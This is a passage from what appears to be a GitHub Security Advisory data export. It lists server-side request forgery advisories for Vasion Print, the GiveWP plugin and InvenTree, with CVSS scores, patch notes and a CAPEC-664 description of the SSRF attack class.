"details": "Vasion Print (formerly PrinterLogic) before Virtual Appliance Host 22.0.862 Application 20.0.2014 allows Server-Side Request Forgery: CPA v1 V-2023-009.",
"id": "GHSA-vwxx-w68r-9cm2",
"modified": "2025-11-03T21:33:06Z",
"published": "2025-03-05T06:31:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27655"
},
{
"type": "WEB",
"url": "https://help.printerlogic.com/saas/Print/Security/Security-Bulletins.htm"
},
{
"type": "WEB",
"url": "https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2025/Apr/18"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VX34-745V-7G3G
Vulnerability from github – Published: 2023-12-18 18:30 – Updated: 2026-04-28 21:33Server-Side Request Forgery (SSRF) vulnerability in GiveWP GiveWP – Donation Plugin and Fundraising Platform.This issue affects GiveWP – Donation Plugin and Fundraising Platform: from n/a through 2.25.1.
{
"affected": [],
"aliases": [
"CVE-2022-40312"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-18T15:15:08Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in GiveWP GiveWP \u2013 Donation Plugin and Fundraising Platform.This issue affects GiveWP \u2013 Donation Plugin and Fundraising Platform: from n/a through 2.25.1.",
"id": "GHSA-vx34-745v-7g3g",
"modified": "2026-04-28T21:33:23Z",
"published": "2023-12-18T18:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-40312"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/give/wordpress-givewp-plugin-2-25-1-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-VX3H-QWQW-R2WQ
Vulnerability from github – Published: 2024-10-02 17:58 – Updated: 2024-10-02 17:58Impact
The "download image from remote URL" feature can be abused by a malicious actor to potentially extract information about server side resources. Submitting a crafted URL (in place of a valid image) can raise a server side error, which is reported back to the user.
This error message may contain sensitive information about the server side request, including information about the availability of the remote resource.
Patches
The solution to this vulnerability is to prevent the server from returning any specific information about the observed exception. Instead, a generic error message is returned to the client.
This patch has been applied to the upcoming 0.17.0 release, and also back-ported to the 0.16.5 stable release.
Workarounds
To avoid this issue with unpatched versions, the "download image from remote URL" feature can be disabled in InvenTree, preventing users from accessing this information.
References
Thanks to @febin0x10 for identifying this vulnerability and reporting it to us as per our security policy.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "inventree"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.16.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2024-10-02T17:58:44Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Impact\n\nThe \"download image from remote URL\" feature can be abused by a malicious actor to potentially extract information about server side resources. Submitting a crafted URL (in place of a valid image) can raise a server side error, which is reported back to the user. \n\nThis error message may contain sensitive information about the server side request, including information about the availability of the remote resource.\n\n### Patches\n\nThe solution to this vulnerability is to prevent the server from returning any specific information about the observed exception. Instead, a generic error message is returned to the client.\n\nThis patch has been applied to the upcoming 0.17.0 release, and also back-ported to the 0.16.5 stable release.\n\n### Workarounds\n\nTo avoid this issue with unpatched versions, the \"download image from remote URL\" feature can be disabled in InvenTree, preventing users from accessing this information. \n\n### References\n\nThanks to @febin0x10 for identifying this vulnerability and reporting it to us as per our security policy.",
"id": "GHSA-vx3h-qwqw-r2wq",
"modified": "2024-10-02T17:58:44Z",
"published": "2024-10-02T17:58:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/inventree/InvenTree/security/advisories/GHSA-vx3h-qwqw-r2wq"
},
{
"type": "WEB",
"url": "https://github.com/inventree/InvenTree/commit/5759b60a48e7e178fb417a900ed543f29dc5dc86"
},
{
"type": "PACKAGE",
"url": "https://github.com/inventree/InvenTree"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Inventree Server-Side Request Forgery vulnerability exposes server port/internal IP"
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.